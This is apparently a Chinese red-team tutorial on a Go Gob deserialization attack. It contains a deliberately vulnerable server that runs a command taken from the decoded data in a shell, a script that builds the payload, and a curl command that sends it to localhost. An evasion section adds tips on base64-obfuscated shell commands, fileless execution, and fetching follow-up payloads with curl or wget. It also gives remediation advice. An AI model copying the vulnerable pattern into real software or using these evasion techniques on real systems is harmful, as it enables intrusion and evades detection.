一、一次“神奇”的反序列化渗透
反序列化漏洞是我在红队行动中最喜欢的一类漏洞之一,因为它不仅“隐秘”,还可以直接帮助我实现从应用层到系统层的控制。它的成因往往来自开发者对信任边界的错误假设——他们相信所有的输入都是“安全的”。那么,我能做的,就是利用这些“不安全”的输入,打开整个系统的大门。
有一次,我接到任务渗透一家企业的内网。他们的核心业务是基于一个自研的 Go Web 应用,这个应用使用 JSON 格式与前端通信,同时也支持导入导出功能。看似普通的业务功能背后,隐藏着巨大的漏洞。一开始,我发现这个系统有一个 JSON-based 的 API 接口,它允许上传序列化的对象文件用于导入业务数据。正是这个接口,成为了我后来攻破的关键入口。
在这篇文章中,我将结合实际场景,带你一步步复现一次完整的反序列化漏洞攻击,并讲解如何将漏洞“武器化”。
---
二、反序列化漏洞的根源在哪里?
在深入攻击之前,我们需要先弄清楚问题的本质。反序列化漏洞的核心在于:不受信任的输入被直接反序列化,导致攻击者可以通过精心构造的序列化数据执行任意代码。
反序列化的必要背景
序列化是指将对象转换为字节流的过程,而反序列化则是将字节流还原为对象。这个过程在现代程序中非常常见,特别是在数据存储、网络传输和对象持久化中。然而,一旦开发者对反序列化的输入没有严格校验,攻击者就可以通过精心构造的恶意 payload,利用反序列化过程触发任意代码执行。
Go 中的反序列化
Go 语言中最常见的序列化/反序列化方式是 JSON 和 Gob。其中,JSON 通常用于前后端数据交互,而 Gob 则是 Go 特有的二进制编码方式,常用于高效的内部通信。虽然 Gob 的使用场景较少,但它往往更加危险,因为许多开发者对其安全性没有清晰的认知。
---
三、复现环境——构建一个脆弱的 API 接口
在这次攻击演示中,我将模拟一个基于 Go 的 Web 应用,提供一个支持 Gob 反序列化的 API 接口。以下是脆弱接口的代码实现:
<pre><code class="language-go">package main
import ( "bytes" "encoding/gob" "fmt" "net/http" "os/exec" )
// 定义一个结构体,会被反序列化 type Payload struct { Command string }
func executeCommand(cmd string) { // 这里是漏洞的核心,直接执行了反序列化对象中的命令 output, err := exec.Command("/bin/sh", "-c", cmd).Output() if err != nil { fmt.Println("Error executing command:", err) return } fmt.Println(string(output)) }
func handler(w http.ResponseWriter, r *http.Request) { var payload Payload
// 从请求体中读取 Gob 数据并反序列化 buf := new(bytes.Buffer) buf.ReadFrom(r.Body) decoder := gob.NewDecoder(buf) err := decoder.Decode(&payload)
// 如果反序列化失败,返回错误 if err != nil { http.Error(w, "Invalid payload", http.StatusBadRequest) return }
// 反序列化成功后,直接执行 payload 中的命令 executeCommand(payload.Command) fmt.Fprintf(w, "Command executed: %s", payload.Command) }
func main() { http.HandleFunc("/import", handler) http.ListenAndServe(":8080", nil) }</code></pre>
漏洞分析
- 漏洞核心:
该代码直接对客户端提交的 Gob 数据进行反序列化(decoder.Decode),并将反序列化结果中的 Command 字段直接作为命令执行。
- 攻击面:
只要攻击者能够构造一个合法的 Gob 数据包,就可以在服务器上执行任意系统命令。
---
四、Payload 构造的艺术
为了利用上述漏洞,我们需要构造一个能被正常反序列化的 Gob 数据包,同时确保其包含恶意命令。本次攻击的目标是执行系统命令 id,用于验证漏洞的可利用性。
构造恶意 Gob 数据
以下是一个用于构造 payload 的 Go 脚本:
<pre><code class="language-go">package main
import ( "bytes" "encoding/gob" "os" )
// 构造与服务端相同的 Payload 结构体 type Payload struct { Command string }
func main() { // 构造恶意 payload payload := Payload{ Command: "id", // 替换为你需要执行的任意命令 }
// 将 payload 序列化为 Gob 数据 var buf bytes.Buffer encoder := gob.NewEncoder(&buf) err := encoder.Encode(payload) if err != nil { panic(err) }
// 将生成的 Gob 数据写入文件 f, err := os.Create("exploit.gob") if err != nil { panic(err) } defer f.Close()
f.Write(buf.Bytes()) }</code></pre>
运行该脚本后,会生成一个名为 exploit.gob 的文件,其中包含了恶意序列化数据。
---
五、攻击实战:用 curl 发动攻击
接下来,我将通过 curl 工具向目标服务器发送恶意 Gob 数据,从而触发漏洞并执行命令。

攻击步骤
- 启动目标服务器:
`shell go run server.go `
- 使用 curl 发送恶意数据包:
`shell curl -X POST http://localhost:8080/import --data-binary @exploit.gob `
- 查看服务器输出:
如果攻击成功,你会在服务器的终端中看到类似以下的输出: ` uid=1000(user) gid=1000(user) groups=1000(user) Command executed: id `
---
六、对抗 EDR 的技巧

在实际渗透中,直接执行系统命令(如 id 或 whoami)往往会被 EDR 或 AV 拦截。为了提高攻击的隐蔽性,我常用以下几个技巧:
- 命令混淆:
使用类似 echo d2hvYW1pCg== | base64 -d | sh 的方式绕过简单的检测。

- 无文件执行:
将恶意载荷注入到内存中执行,避免在磁盘上留下痕迹。
- 借助合法工具:
使用系统内置工具(如 curl 或 wget)下载并执行后续 payload。
---
七、漏洞修复建议与红队经验总结

修复建议
- 严禁直接反序列化用户输入:
对于所有外部输入,必须进行严格的校验和过滤。
- 使用签名机制:
在序列化数据中引入签名校验,防止被篡改。
- 最小权限原则:
限制服务器进程的权限,避免被攻击后造成更大损失。
红队经验总结
- 寻找反序列化漏洞时,不要局限于 JSON:
许多开发者会误以为只有 XML 或 JSON 会导致反序列化漏洞,但二进制协议(如 Gob、Protocol Buffers)同样可能存在安全问题。
- 小心系统命令:
不要急于执行高危命令,先通过低危命令(如 id 或 uname)测试漏洞是否可用。
- 构造多种 payload:
每个目标环境不同,必须根据实际情况调整 payload。
这次的分享到这里就结束了,希望你能从中学到一些有用的技巧!